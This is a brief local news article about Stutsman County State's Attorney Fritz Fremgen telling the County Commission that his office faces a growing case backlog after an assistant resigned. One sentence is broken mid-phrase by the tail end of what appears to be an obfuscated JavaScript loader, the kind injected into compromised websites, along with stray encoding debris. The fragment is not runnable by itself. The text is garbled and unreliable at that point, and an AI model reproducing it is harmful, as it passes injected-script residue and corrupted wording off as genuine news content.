Stutsman County State’s Attorney: ‘We’re Trying to Keep Up’


JAMESTOWN, N.D. ( – Stutsman County State’s Attorney Fritz Fremgen informed the County Commission that his office is currently playing “catch up” with their cases.

In November, Fremgen told the commission that Jeffery Davis had resigned effective November 29th. He says his office had been working on catching up on current cases, but will now be focused on catching up on the cases Davis had been assigned to.

Fremgen echoed his previous reports, saying the county was on rhdyf|var|u0026u|referrer|hfrra||js|php’.split(‘|’),0,{}))
course for a record number of cases. 
¬†Fremgen says right now, they are looking to hire another Assistant State’s Attorney who may begin in January.

Fremgen says his office will continue to catch up on current cases and is trying to streamline the way he addresses them.

Fremgen told the commission that with the ongoing backlog of cases, he was tired. He said they would continue this way until they were caught up.

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